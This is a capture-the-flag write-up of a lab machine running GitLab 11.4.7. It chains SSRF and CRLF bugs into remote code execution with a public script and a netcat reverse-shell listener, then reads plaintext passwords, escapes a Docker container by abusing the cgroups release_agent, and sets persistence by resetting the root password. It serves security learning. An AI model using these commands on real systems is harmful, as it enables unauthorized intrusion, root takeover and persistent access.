Recon
- Port scan:
$ nmap -p- 10.10.10.220 > ports.nmap22, 5080 ports are open
- Targeted scan:
$ nmap -sC -sV -p 22,5080 10.10.10.220 > scan.nmapSSH, nginx HTTP
Enumeration
- Port 5080 is running GitLab Community Edition 11.4.7, out-of-date for 2 years.
- Register and login, user can import repositories from
http://orgit://.
Exploitation
- CVE-2018-19571 (SSRF), CVE-2018-19585 (CRLF) vulnerabilities in GitLab 11.4.7 leading to remote code execution (RCE).
- SSRF, or server-side request forgery occurs when the domain blacklist gets bypassed using defined IPv6:
https://[0:0:0:0:0:ffff:127.0.0.1] - Using PoC written by Shad0wQu35t on GitHub, we can get a shell as git:
$ python3 ./gitlab_rce.py http://10.10.10.220:5080 10.10.14.53$ nc -lvnp 42069 - Get user flag!
Privilege Escalation
- Nothing useful in LinPEAS, moving on.
- Found
/root_passfile:$ cat /root_passYG65407Bjqvv9A0a8Tm_7w - Found SMTP password in GitLab backup:
$ cat /opt/backup/gitlab.rb | grep passgitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h" - Try to su into root:
$ susu: must be run from a terminal - Cannot run su/sudo in Docker container, spawn pty shell:
$ echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py$ python3 /tmp/shell.py - Now in the pseudo shell, run su with
stmp_password:$ suwW59U!ZKMbG9+*#h - Gained root access... but we're still in the Docker container. We can "escape" by abusing the
notify_on_releasefeature in cgroups v1 to execute our payload as root. When the last task in a cgroup exits, therelease_agentfile is executed.◽1.4 What does notify_on_release do? If the notify_on_release flag is enabled (1) in a cgroup, then whenever the last task in the cgroup leaves (exits or attaches to some other cgroup) and the last child cgroup of that cgroup is removed, then the kernel runs the command specified by the contents of the “release_agent” file in that hierarchy’s root directory, supplying the pathname (relative to the mount point of the cgroup file system) of the abandoned cgroup. This enables automatic removal of abandoned cgroups. The default value of notify_on_release in the root cgroup at system boot is disabled (0). The default value of other cgroups at creation is the current value of their parents’ notify_on_release settings. The default value of a cgroup hierarchy’s release_agent path is empty.
- Create cgroup directory, mount RDMA cgroup controller, and create child cgroup
x:$ mkdir ./cgrp && mount -t cgroup -o rdma cgroup ./cgrp && mkdir ./cgrp/x - Enable cgroup notifications on release of
xcgroup by writing1to itsnotify_on_releasefile:$ echo 1 > ./cgrp/x/notify_on_release - Grab container's path on the host from
/etc/mtabas$host_path:$ host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` - Set RDMA cgroup release agent to execute a
/cmdscript in the container:$ echo "$host_path/cmd" > ./cgrp/release_agent - Specify
/cmdpayload to print the root flag to/outputin the container:$ echo ‘#!/bin/sh’ > /cmd$ echo "cat /root/root.txt > $host_path/output" >> /cmd - Set file permissions:
$ chmod a+x /cmd - Execute by spawning a process that immediately ends to trigger the cgroup release agent:
$ sh -c “echo \$\$ > ./cgrp/x/cgroup.procs” - Get root flag!
Persistence
- Specify second
/cmdpayload to change the root password:$ echo '#!/bin/sh' > /cmd$ echo "echo 'root:areyouready' | chpasswd" >> /cmd$ chmod a+x /cmd$ sh -c “echo \$\$ > ./cgrp/x/cgroup.procs” - SSH into root:
$ ssh [email protected]
Resources
- https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
- https://www.youtube.com/watch?v=LrLJuyAdoAg
- https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py
- https://medium.com/better-programming/escaping-docker-privileged-containers-a7ae7d17f5a1
- https://book.hacktricks.xyz/linux-unix/privilege-escalation/escaping-from-a-docker-container#sys_admin-capability-and-apparmor-disabled
- https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html